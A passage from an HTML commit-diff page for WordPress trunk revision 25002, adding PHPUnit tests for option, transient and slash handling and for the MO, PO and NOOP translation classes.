+               $this->assertFalse( delete_blog_option( $blog_id, $key ) );
+               $this->assertTrue( update_blog_option( $blog_id, $key2, $value2 ) );
+               $this->assertEquals( $value2, get_blog_option( $blog_id, $key2 ) );
+               //$this->assertEquals( $value2, get_option( $key2 ) ); // check get_option()
+               $this->assertTrue( delete_blog_option( $blog_id, $key2 ) );
+               $this->assertFalse( get_blog_option( $blog_id, $key2 ) );
+               //$this->assertFalse( get_option( $key2 ) ); // check get_option()
+       }
+}
+endif;
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsoptionoptionphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/option/option.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/option/option.php                              (rev 0)
+++ trunk/tests/tests/option/option.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,102 @@
</span><ins>+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_Option extends WP_UnitTestCase {
+
+       function __return_foo() {
+               return 'foo';
+       }
+
+       function test_the_basics() {
+               $key = rand_str();
+               $key2 = rand_str();
+               $value = rand_str();
+               $value2 = rand_str();
+
+               $this->assertFalse( get_option( 'doesnotexist' ) );
+               $this->assertTrue( add_option( $key, $value ) );
+               $this->assertEquals( $value, get_option( $key ) );
+               $this->assertFalse( add_option( $key, $value ) );  // Already exists
+               $this->assertFalse( update_option( $key, $value ) );  // Value is the same
+               $this->assertTrue( update_option( $key, $value2 ) );
+               $this->assertEquals( $value2, get_option( $key ) );
+               $this->assertFalse( add_option( $key, $value ) );
+               $this->assertEquals( $value2, get_option( $key ) );
+               $this->assertTrue( delete_option( $key ) );
+               $this->assertFalse( get_option( $key ) );
+               $this->assertFalse( delete_option( $key ) );
+
+               $this->assertTrue( update_option( $key2, $value2 ) );
+               $this->assertEquals( $value2, get_option( $key2 ) );
+               $this->assertTrue( delete_option( $key2 ) );
+               $this->assertFalse( get_option( $key2 ) );
+       }
+
+       function test_default_filter() {
+               $random = rand_str();
+
+               $this->assertFalse( get_option( 'doesnotexist' ) );
+
+               // Default filter overrides $default arg.
+               add_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+               $this->assertEquals( 'foo', get_option( 'doesnotexist', 'bar' ) );
+
+               // Remove the filter and the $default arg is honored.
+               remove_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+               $this->assertEquals( 'bar', get_option( 'doesnotexist', 'bar' ) );
+
+               // Once the option exists, the $default arg and the default filter are ignored.
+               add_option( 'doesnotexist', $random );
+               $this->assertEquals( $random, get_option( 'doesnotexist', 'foo' ) );
+               add_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+               $this->assertEquals( $random, get_option( 'doesnotexist', 'foo' ) );
+               remove_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+
+               // Cleanup
+               $this->assertTrue( delete_option( 'doesnotexist' ) );
+               $this->assertFalse( get_option( 'doesnotexist' ) );
+       }
+
+       function test_serialized_data() {
+               $key = rand_str();
+               $value = array( 'foo' => true, 'bar' => true );
+
+               $this->assertTrue( add_option( $key, $value ) );
+               $this->assertEquals( $value, get_option( $key ) );
+
+               $value = (object) $value;
+               $this->assertTrue( update_option( $key, $value ) );
+               $this->assertEquals( $value, get_option( $key ) );
+               $this->assertTrue( delete_option( $key ) );
+       }
+
+       /**
+        * @ticket 23289
+        */
+       function test_bad_option_names() {
+               foreach ( array( '', '0', ' ', 0, false, null ) as $empty ) {
+                       $this->assertFalse( get_option( $empty ) );
+                       $this->assertFalse( add_option( $empty, '' ) );
+                       $this->assertFalse( update_option( $empty, '' ) );
+                       $this->assertFalse( delete_option( $empty ) );
+               }
+       }
+
+       /**
+        * @ticket 23289
+        * @expectedException WPDieException
+        */
+       function test_special_option_name_alloption() {
+               delete_option( 'alloptions' );
+       }
+
+       /**
+        * @ticket 23289
+        * @expectedException WPDieException
+        */
+       function test_special_option_name_notoptions() {
+               delete_option( 'notoptions' );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsoptionsiteOptionphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/option/siteOption.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/option/siteOption.php                          (rev 0)
+++ trunk/tests/tests/option/siteOption.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,93 @@
</span><ins>+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_SiteOption extends WP_UnitTestCase {
+       function __return_foo() {
+               return 'foo';
+       }
+
+       function test_the_basics() {
+               $key = rand_str();
+               $key2 = rand_str();
+               $value = rand_str();
+               $value2 = rand_str();
+
+               $this->assertFalse( get_site_option( 'doesnotexist' ) );
+               $this->assertTrue( add_site_option( $key, $value ) );
+               $this->assertEquals( $value, get_site_option( $key ) );
+               $this->assertFalse( add_site_option( $key, $value ) );  // Already exists
+               $this->assertFalse( update_site_option( $key, $value ) );  // Value is the same
+               $this->assertTrue( update_site_option( $key, $value2 ) );
+               $this->assertEquals( $value2, get_site_option( $key ) );
+               $this->assertFalse( add_site_option( $key, $value ) );
+               $this->assertEquals( $value2, get_site_option( $key ) );
+               $this->assertTrue( delete_site_option( $key ) );
+               $this->assertFalse( get_site_option( $key ) );
+               $this->assertFalse( delete_site_option( $key ) );
+
+               $this->assertTrue( update_site_option( $key2, $value2 ) );
+               $this->assertEquals( $value2, get_site_option( $key2 ) );
+               $this->assertTrue( delete_site_option( $key2 ) );
+               $this->assertFalse( get_site_option( $key2 ) );
+       }
+
+       function test_default_filter() {
+               $random = rand_str();
+
+               $this->assertFalse( get_site_option( 'doesnotexist' ) );
+
+               // Default filter overrides $default arg.
+               add_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+               $this->assertEquals( 'foo', get_site_option( 'doesnotexist', 'bar' ) );
+
+               // Remove the filter and the $default arg is honored.
+               remove_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+               $this->assertEquals( 'bar', get_site_option( 'doesnotexist', 'bar' ) );
+
+               // Once the option exists, the $default arg and the default filter are ignored.
+               add_site_option( 'doesnotexist', $random );
+               $this->assertEquals( $random, get_site_option( 'doesnotexist', 'foo' ) );
+               add_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+               $this->assertEquals( $random, get_site_option( 'doesnotexist', 'foo' ) );
+               remove_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+
+               // Cleanup
+               $this->assertTrue( delete_site_option( 'doesnotexist' ) );
+               $this->assertFalse( get_site_option( 'doesnotexist' ) );
+       }
+
+       function test_serialized_data() {
+               $key = rand_str();
+               $value = array( 'foo' => true, 'bar' => true );
+
+               $this->assertTrue( add_site_option( $key, $value ) );
+               $this->assertEquals( $value, get_site_option( $key ) );
+
+               $value = (object) $value;
+               $this->assertTrue( update_site_option( $key, $value ) );
+               $this->assertEquals( $value, get_site_option( $key ) );
+               $this->assertTrue( delete_site_option( $key ) );
+       }
+
+       // #15497 - ensure update_site_option will add options with false-y values
+       function test_update_adds_falsey_value() {
+               $key = rand_str();
+               $value = 0;
+
+               delete_site_option( $key );
+               $this->assertTrue( update_site_option( $key, $value ) );
+               wp_cache_flush(); // ensure we're getting the value from the DB
+               $this->assertEquals( $value, get_site_option( $key ) );
+       }
+
+       // #18955 - ensure get_site_option doesn't cache the default value for non-existent options
+       function test_get_doesnt_cache_default_value() {
+               $option = rand_str();
+               $default = 'a default';
+
+               $this->assertEquals( get_site_option( $option, $default ), $default );
+               $this->assertFalse( get_site_option( $option ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsoptionsiteTransientphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/option/siteTransient.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/option/siteTransient.php                               (rev 0)
+++ trunk/tests/tests/option/siteTransient.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,36 @@
</span><ins>+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_SiteTransient extends WP_UnitTestCase {
+
+       function test_the_basics() {
+               $key = rand_str();
+               $value = rand_str();
+               $value2 = rand_str();
+
+               $this->assertFalse( get_site_transient( 'doesnotexist' ) );
+               $this->assertTrue( set_site_transient( $key, $value ) );
+               $this->assertEquals( $value, get_site_transient( $key ) );
+               $this->assertFalse( set_site_transient( $key, $value ) );
+               $this->assertTrue( set_site_transient( $key, $value2 ) );
+               $this->assertEquals( $value2, get_site_transient( $key ) );
+               $this->assertTrue( delete_site_transient( $key ) );
+               $this->assertFalse( get_site_transient( $key ) );
+               $this->assertFalse( delete_site_transient( $key ) );
+       }
+
+       function test_serialized_data() {
+               $key = rand_str();
+               $value = array( 'foo' => true, 'bar' => true );
+
+               $this->assertTrue( set_site_transient( $key, $value ) );
+               $this->assertEquals( $value, get_site_transient( $key ) );
+
+               $value = (object) $value;
+               $this->assertTrue( set_site_transient( $key, $value ) );
+               $this->assertEquals( $value, get_site_transient( $key ) );
+               $this->assertTrue( delete_site_transient( $key ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsoptionslashesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/option/slashes.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/option/slashes.php                             (rev 0)
+++ trunk/tests/tests/option/slashes.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,57 @@
</span><ins>+<?php
+
+/**
+ * @group option
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Option_Slashes extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               // it is important to test with both even and odd numbered slashes as
+               // kses does a strip-then-add slashes in some of it's function calls
+               $this->slash_1 = 'String with 1 slash \\';
+               $this->slash_2 = 'String with 2 slashes \\\\';
+               $this->slash_3 = 'String with 3 slashes \\\\\\';
+               $this->slash_4 = 'String with 4 slashes \\\\\\\\';
+               $this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+               $this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+               $this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+       }
+
+       /**
+        * Tests the model function that expects un-slashed data
+        *
+        */
+       function test_add_option() {
+               add_option( 'slash_test_1', $this->slash_1 );
+               add_option( 'slash_test_2', $this->slash_2 );
+               add_option( 'slash_test_3', $this->slash_3 );
+               add_option( 'slash_test_4', $this->slash_4 );
+
+               $this->assertEquals( $this->slash_1, get_option( 'slash_test_1' ) );
+               $this->assertEquals( $this->slash_2, get_option( 'slash_test_2' ) );
+               $this->assertEquals( $this->slash_3, get_option( 'slash_test_3' ) );
+               $this->assertEquals( $this->slash_4, get_option( 'slash_test_4' ) );
+       }
+
+       /**
+        * Tests the model function that expects un-slashed data
+        *
+        */
+       function test_update_option() {
+               add_option( 'slash_test_5', 'foo' );
+
+               update_option( 'slash_test_5', $this->slash_1 );
+               $this->assertEquals( $this->slash_1, get_option( 'slash_test_5' ) );
+
+               update_option( 'slash_test_5', $this->slash_2 );
+               $this->assertEquals( $this->slash_2, get_option( 'slash_test_5' ) );
+
+               update_option( 'slash_test_5', $this->slash_3 );
+               $this->assertEquals( $this->slash_3, get_option( 'slash_test_5' ) );
+
+               update_option( 'slash_test_5', $this->slash_4 );
+               $this->assertEquals( $this->slash_4, get_option( 'slash_test_5' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsoptiontransientphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/option/transient.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/option/transient.php                           (rev 0)
+++ trunk/tests/tests/option/transient.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,36 @@
</span><ins>+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_Transient extends WP_UnitTestCase {
+
+       function test_the_basics() {
+               $key = rand_str();
+               $value = rand_str();
+               $value2 = rand_str();
+
+               $this->assertFalse( get_transient( 'doesnotexist' ) );
+               $this->assertTrue( set_transient( $key, $value ) );
+               $this->assertEquals( $value, get_transient( $key ) );
+               $this->assertFalse( set_transient( $key, $value ) );
+               $this->assertTrue( set_transient( $key, $value2 ) );
+               $this->assertEquals( $value2, get_transient( $key ) );
+               $this->assertTrue( delete_transient( $key ) );
+               $this->assertFalse( get_transient( $key ) );
+               $this->assertFalse( delete_transient( $key ) );
+       }
+
+       function test_serialized_data() {
+               $key = rand_str();
+               $value = array( 'foo' => true, 'bar' => true );
+
+               $this->assertTrue( set_transient( $key, $value ) );
+               $this->assertEquals( $value, get_transient( $key ) );
+
+               $value = (object) $value;
+               $this->assertTrue( set_transient( $key, $value ) );
+               $this->assertEquals( $value, get_transient( $key ) );
+               $this->assertTrue( delete_transient( $key ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspomomophp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/pomo/mo.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/pomo/mo.php                            (rev 0)
+++ trunk/tests/tests/pomo/mo.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,143 @@
</span><ins>+<?php
+
+class Tests_POMO_MO extends WP_UnitTestCase {
+
+       function test_mo_simple() {
+               $mo = new MO();
+               $mo->import_from_file(DIR_TESTDATA . '/pomo/simple.mo');
+               $this->assertEquals(array('Project-Id-Version' => 'WordPress 2.6-bleeding', 'Report-Msgid-Bugs-To' => 'wp-polyglots@lists.automattic.com'), $mo->headers);
+               $this->assertEquals(2, count($mo->entries));
+               $this->assertEquals(array('dyado'), $mo->entries['baba']->translations);
+               $this->assertEquals(array('yes'), $mo->entries["kuku\nruku"]->translations);
+       }
+
+       function test_mo_plural() {
+               $mo = new MO();
+               $mo->import_from_file(DIR_TESTDATA . '/pomo/plural.mo');
+               $this->assertEquals(1, count($mo->entries));
+               $this->assertEquals(array("oney dragoney", "twoey dragoney", "manyey dragoney", "manyeyey dragoney", "manyeyeyey dragoney"), $mo->entries["one dragon"]->translations);
+
+               $this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+               $this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', 2));
+               $this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', -8));
+
+
+               $mo->set_header('Plural-Forms', 'nplurals=5; plural=0');
+               $this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+               $this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 2));
+               $this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', -8));
+
+               $mo->set_header('Plural-Forms', 'nplurals=5; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;');
+               $this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+               $this->assertEquals('manyey dragoney', $mo->translate_plural('one dragon', '%d dragons', 11));
+               $this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', 3));
+
+               $mo->set_header('Plural-Forms', 'nplurals=2; plural=n !=1;');
+               $this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+               $this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', 2));
+               $this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', -8));
+       }
+
+       function test_mo_context() {
+               $mo = new MO();
+               $mo->import_from_file(DIR_TESTDATA . '/pomo/context.mo');
+               $this->assertEquals(2, count($mo->entries));
+               $plural_entry = new Translation_Entry(array('singular' => 'one dragon', 'plural' => '%d dragons', 'translations' => array("oney dragoney", "twoey dragoney","manyey dragoney"), 'context' => 'dragonland'));
+               $this->assertEquals($plural_entry, $mo->entries[$plural_entry->key()]);
+               $this->assertEquals("dragonland", $mo->entries[$plural_entry->key()]->context);
+
+               $single_entry = new Translation_Entry(array('singular' => 'one dragon', 'translations' => array("oney dragoney"), 'context' => 'not so dragon'));
+               $this->assertEquals($single_entry, $mo->entries[$single_entry->key()]);
+               $this->assertEquals("not so dragon", $mo->entries[$single_entry->key()]->context);
+
+       }
+
+       function test_translations_merge() {
+               $host = new Translations();
+               $host->add_entry(new Translation_Entry(array('singular' => 'pink',)));
+               $host->add_entry(new Translation_Entry(array('singular' => 'green',)));
+               $guest = new Translations();
+               $guest->add_entry(new Translation_Entry(array('singular' => 'green',)));
+               $guest->add_entry(new Translation_Entry(array('singular' => 'red',)));
+               $host->merge_with($guest);
+               $this->assertEquals(3, count($host->entries));
+               $this->assertEquals(array(), array_diff(array('pink', 'green', 'red'), array_keys($host->entries)));
+       }
+
+       function test_export_mo_file() {
+               $entries = array();
+               $entries[] = new Translation_Entry(array('singular' => 'pink',
+                       'translations' => array('розов')));
+               $no_translation_entry = new Translation_Entry(array('singular' => 'grey'));
+               $entries[] = new Translation_Entry(array('singular' => 'green', 'plural' => 'greens',
+                       'translations' => array('зелен', 'зелени')));
+               $entries[] = new Translation_Entry(array('singular' => 'red', 'context' => 'color',
+                       'translations' => array('червен')));
+               $entries[] = new Translation_Entry(array('singular' => 'red', 'context' => 'bull',
+                       'translations' => array('бик')));
+               $entries[] = new Translation_Entry(array('singular' => 'maroon', 'plural' => 'maroons', 'context' => 'context',
+                       'translations' => array('пурпурен', 'пурпурни')));
+
+               $mo = new MO();
+               $mo->set_header('Project-Id-Version', 'Baba Project 1.0');
+               foreach($entries as $entry) {
+                       $mo->add_entry($entry);
+               }
+               $mo->add_entry($no_translation_entry);
+
+               $temp_fn = $this->temp_filename();
+               $mo->export_to_file($temp_fn);
+
+               $again = new MO();
+               $again->import_from_file($temp_fn);
+
+               $this->assertEquals(count($entries), count($again->entries));
+               foreach($entries as $entry) {
+                       $this->assertEquals($entry, $again->entries[$entry->key()]);
+               }
+       }
+
+       function test_export_should_not_include_empty_translations() {
+               $entries = array(  );
+               $mo = new MO;
+               $mo->add_entry( array( 'singular' => 'baba', 'translations' => array( '', '' ) ) );
+
+               $temp_fn = $this->temp_filename();
+               $mo->export_to_file( $temp_fn );
+
+               $again = new MO();
+               $again->import_from_file($temp_fn);
+
+               $this->assertEquals( 0, count( $again->entries ) );
+       }
+
+       function test_nplurals_with_backslashn() {
+               $mo = new MO();
+               $mo->import_from_file(DIR_TESTDATA . '/pomo/bad_nplurals.mo');
+               $this->assertEquals('%d foro', $mo->translate_plural('%d forum', '%d forums', 1));
+               $this->assertEquals('%d foros', $mo->translate_plural('%d forum', '%d forums', 2));
+               $this->assertEquals('%d foros', $mo->translate_plural('%d forum', '%d forums', -1));
+       }
+
+       function disabled_test_performance() {
+               $start = microtime(true);
+               $mo = new MO();
+               $mo->import_from_file(DIR_TESTDATA . '/pomo/de_DE-2.8.mo');
+               // echo "\nPerformance: ".(microtime(true) - $start)."\n";
+       }
+
+       function test_overloaded_mb_functions() {
+               // skipIf() method skips the whole test case, not only this method
+               // that's why we are skipping it the stupid way
+               if ((ini_get("mbstring.func_overload") & 2) != 0) {
+                       $mo = new MO();
+                       $mo->import_from_file(DIR_TESTDATA . '/pomo/overload.mo');
+                       $this->assertEquals(array('Табло'), $mo->entries['Dashboard']->translations);
+               }
+       }
+
+       function test_load_pot_file() {
+               $mo = new MO();
+               $this->assertEquals( false, $mo->import_from_file(DIR_TESTDATA . '/pomo/mo.pot') );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspomonoopTranslationsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/pomo/noopTranslations.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/pomo/noopTranslations.php                              (rev 0)
+++ trunk/tests/tests/pomo/noopTranslations.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,41 @@
</span><ins>+<?php
+
+class Tests_POMO_NOOPTranslations extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->noop = new NOOP_Translations;
+               $this->entry = new Translation_Entry( array( 'singular' => 'baba' ) );
+               $this->plural_entry = new Translation_Entry(array('singular' => 'dyado', 'plural' => 'dyados', 'translations' => array('dyadox', 'dyadoy')));
+       }
+
+       function test_get_header() {
+               $this->assertEquals( false, $this->noop->get_header( 'Content-Type' ) );
+       }
+
+       function test_add_entry() {
+               $this->noop->add_entry( $this->entry );
+               $this->assertEquals( array(), $this->noop->entries );
+       }
+
+       function test_set_header() {
+               $this->noop->set_header( 'header', 'value' );
+               $this->assertEquals( array(), $this->noop->headers );
+       }
+
+       function test_translate_entry() {
+               $this->noop->add_entry( $this->entry );
+               $this->assertEquals( false, $this->noop->translate_entry( $this->entry ) );
+       }
+
+       function test_translate() {
+               $this->noop->add_entry( $this->entry );
+               $this->assertEquals( 'baba', $this->noop->translate( 'baba' ) );
+       }
+
+       function test_plural() {
+               $this->noop->add_entry( $this->plural_entry );
+               $this->assertEquals( 'dyado', $this->noop->translate_plural( 'dyado', 'dyados', 1 ) );
+               $this->assertEquals( 'dyados', $this->noop->translate_plural( 'dyado', 'dyados', 11 ) );
+               $this->assertEquals( 'dyados', $this->noop->translate_plural( 'dyado', 'dyados', 0 ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspomopophp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/pomo/po.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/pomo/po.php                            (rev 0)
+++ trunk/tests/tests/pomo/po.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,218 @@
</span><ins>+<?php
+
+class Tests_POMO_PO extends WP_UnitTestCase {
+       function setUp() {
+               require_once ABSPATH . '/wp-includes/pomo/po.php';
+               // not so random wordpress.pot string -- multiple lines
+               $this->mail = "Your new WordPress blog has been successfully set up at:
+
+%1\$s
+
+You can log in to the administrator account with the following information:
+
+Username: %2\$s
+Password: %3\$s
+
+We hope you enjoy your new blog. Thanks!
+
+--The WordPress Team
+http://wordpress.org/
+";
+       $this->po_mail = '""
+"Your new WordPress blog has been successfully set up at:\n"
+"\n"
+"%1$s\n"
+"\n"
+"You can log in to the administrator account with the following information:\n"
+"\n"
+"Username: %2$s\n"
+"Password: %3$s\n"
+"\n"
+"We hope you enjoy your new blog. Thanks!\n"
+"\n"
+"--The WordPress Team\n"
+"http://wordpress.org/\n"';
+               $this->a90 = str_repeat("a", 90);
+               $this->po_a90 = "\"$this->a90\"";
+    }
+
+       function test_prepend_each_line() {
+               $this->assertEquals('baba_', PO::prepend_each_line('', 'baba_'));
+               $this->assertEquals('baba_dyado', PO::prepend_each_line('dyado', 'baba_'));
+               $this->assertEquals("# baba\n# dyado\n# \n", PO::prepend_each_line("baba\ndyado\n\n", '# '));
+       }
+
+       function test_poify() {
+               //simple
+               $this->assertEquals('"baba"', PO::poify('baba'));
+               //long word
+               $this->assertEquals($this->po_a90, PO::poify($this->a90));
+               // tab
+               $this->assertEquals('"ba\tba"', PO::poify("ba\tba"));
+               // do not add leading empty string of one-line string ending on a newline
+               $this->assertEquals('"\\\\a\\\\n\\n"', PO::poify("\a\\n\n"));
+               // backslash
+               $this->assertEquals('"ba\\\\ba"', PO::poify('ba\\ba'));
+               // random wordpress.pot string
+               $src = 'Categories can be selectively converted to tags using the <a href="%s">category to tag converter</a>.';
+               $this->assertEquals("\"Categories can be selectively converted to tags using the <a href=\\\"%s\\\">category to tag converter</a>.\"", PO::poify($src));
+
+               $this->assertEquals($this->po_mail, PO::poify($this->mail));
+       }
+
+       function test_unpoify() {
+               $this->assertEquals('baba', PO::unpoify('"baba"'));
+               $this->assertEquals("baba\ngugu", PO::unpoify('"baba\n"'."\t\t\t\n".'"gugu"'));
+               $this->assertEquals($this->a90, PO::unpoify($this->po_a90));
+               $this->assertEquals('\\t\\n', PO::unpoify('"\\\\t\\\\n"'));
+               // wordwrapped
+               $this->assertEquals('babadyado', PO::unpoify("\"\"\n\"baba\"\n\"dyado\""));
+               $this->assertEquals($this->mail, PO::unpoify($this->po_mail));
+       }
+
+       function test_export_entry() {
+               $entry = new Translation_Entry(array('singular' => 'baba'));
+               $this->assertEquals("msgid \"baba\"\nmsgstr \"\"", PO::export_entry($entry));
+               // plural
+               $entry = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas'));
+               $this->assertEquals('msgid "baba"
+msgid_plural "babas"
+msgstr[0] ""
+msgstr[1] ""', PO::export_entry($entry));
+               $entry = new Translation_Entry(array('singular' => 'baba', 'translator_comments' => "baba\ndyado"));
+               $this->assertEquals('#  baba
+#  dyado
+msgid "baba"
+msgstr ""', PO::export_entry($entry));
+               $entry = new Translation_Entry(array('singular' => 'baba', 'extracted_comments' => "baba"));
+               $this->assertEquals('#. baba
+msgid "baba"
+msgstr ""', PO::export_entry($entry));
+               $entry = new Translation_Entry(array(
+                       'singular' => 'baba',
+                       'extracted_comments' => "baba",
+                       'references' => range(1, 29)));
+               $this->assertEquals('#. baba
+#: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
+#: 29
+msgid "baba"
+msgstr ""', PO::export_entry($entry));
+               $entry = new Translation_Entry(array('singular' => 'baba', 'translations' => array()));
+               $this->assertEquals("msgid \"baba\"\nmsgstr \"\"", PO::export_entry($entry));
+
+               $entry = new Translation_Entry(array('singular' => 'baba', 'translations' => array('куку', 'буку')));
+               $this->assertEquals("msgid \"baba\"\nmsgstr \"куку\"", PO::export_entry($entry));
+
+               $entry = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas', 'translations' => array('кукубуку')));
+               $this->assertEquals('msgid "baba"
+msgid_plural "babas"
+msgstr[0] "кукубуку"', PO::export_entry($entry));
+
+               $entry = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas', 'translations' => array('кукубуку', 'кукуруку', 'бабаяга')));
+               $this->assertEquals('msgid "baba"
+msgid_plural "babas"
+msgstr[0] "кукубуку"
+msgstr[1] "кукуруку"
+msgstr[2] "бабаяга"', PO::export_entry($entry));
+               // context
+               $entry = new Translation_Entry(array('context' => 'ctxt', 'singular' => 'baba', 'plural' => 'babas', 'translations' => array('кукубуку', 'кукуруку', 'бабаяга'), 'flags' => array('fuzzy', 'php-format')));
+               $this->assertEquals('#, fuzzy, php-format
+msgctxt "ctxt"
+msgid "baba"
+msgid_plural "babas"
+msgstr[0] "кукубуку"
+msgstr[1] "кукуруку"
+msgstr[2] "бабаяга"', PO::export_entry($entry));
+    }
+
+       function test_export_entries() {
+               $entry = new Translation_Entry(array('singular' => 'baba',));
+               $entry2 = new Translation_Entry(array('singular' => 'dyado',));
+               $po = new PO();
+               $po->add_entry($entry);
+               $po->add_entry($entry2);
+               $this->assertEquals("msgid \"baba\"\nmsgstr \"\"\n\nmsgid \"dyado\"\nmsgstr \"\"", $po->export_entries());
+       }
+
+       function test_export_headers() {
+               $po = new PO();
+               $po->set_header('Project-Id-Version', 'WordPress 2.6-bleeding');
+               $po->set_header('POT-Creation-Date', '2008-04-08 18:00+0000');
+               $this->assertEquals("msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: WordPress 2.6-bleeding\\n\"\n\"POT-Creation-Date: 2008-04-08 18:00+0000\\n\"", $po->export_headers());
+       }
+
+       function test_export() {
+               $po = new PO();
+               $entry = new Translation_Entry(array('singular' => 'baba',));
+               $entry2 = new Translation_Entry(array('singular' => 'dyado',));
+               $po->set_header('Project-Id-Version', 'WordPress 2.6-bleeding');
+               $po->set_header('POT-Creation-Date', '2008-04-08 18:00+0000');
+               $po->add_entry($entry);
+               $po->add_entry($entry2);
+               $this->assertEquals("msgid \"baba\"\nmsgstr \"\"\n\nmsgid \"dyado\"\nmsgstr \"\"", $po->export(false));
+               $this->assertEquals("msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: WordPress 2.6-bleeding\\n\"\n\"POT-Creation-Date: 2008-04-08 18:00+0000\\n\"\n\nmsgid \"baba\"\nmsgstr \"\"\n\nmsgid \"dyado\"\nmsgstr \"\"", $po->export());
+       }
+
+
+       function test_export_to_file() {
+               $po = new PO();
+               $entry = new Translation_Entry(array('singular' => 'baba',));
+               $entry2 = new Translation_Entry(array('singular' => 'dyado',));
+               $po->set_header('Project-Id-Version', 'WordPress 2.6-bleeding');
+               $po->set_header('POT-Creation-Date', '2008-04-08 18:00+0000');
+               $po->add_entry($entry);
+               $po->add_entry($entry2);
+
+               $temp_fn = $this->temp_filename();
+               $po->export_to_file($temp_fn, false);
+               $this->assertEquals($po->export(false), file_get_contents($temp_fn));
+
+               $temp_fn2 = $this->temp_filename();
+               $po->export_to_file($temp_fn2);
+               $this->assertEquals($po->export(), file_get_contents($temp_fn2));
+       }
+
+       function test_import_from_file() {
+               $po = new PO();
+               $res = $po->import_from_file(DIR_TESTDATA . '/pomo/simple.po');
+               $this->assertEquals(true, $res);
+
+               $this->assertEquals(array('Project-Id-Version' => 'WordPress 2.6-bleeding', 'Plural-Forms' => 'nplurals=2; plural=n != 1;'), $po->headers);
+
+               $simple_entry = new Translation_Entry(array('singular' => 'moon',));
+               $this->assertEquals($simple_entry, $po->entries[$simple_entry->key()]);
+
+               $all_types_entry = new Translation_Entry(array('singular' => 'strut', 'plural' => 'struts', 'context' => 'brum',
+                       'translations' => array('ztrut0', 'ztrut1', 'ztrut2')));
+               $this->assertEquals($all_types_entry, $po->entries[$all_types_entry->key()]);
+
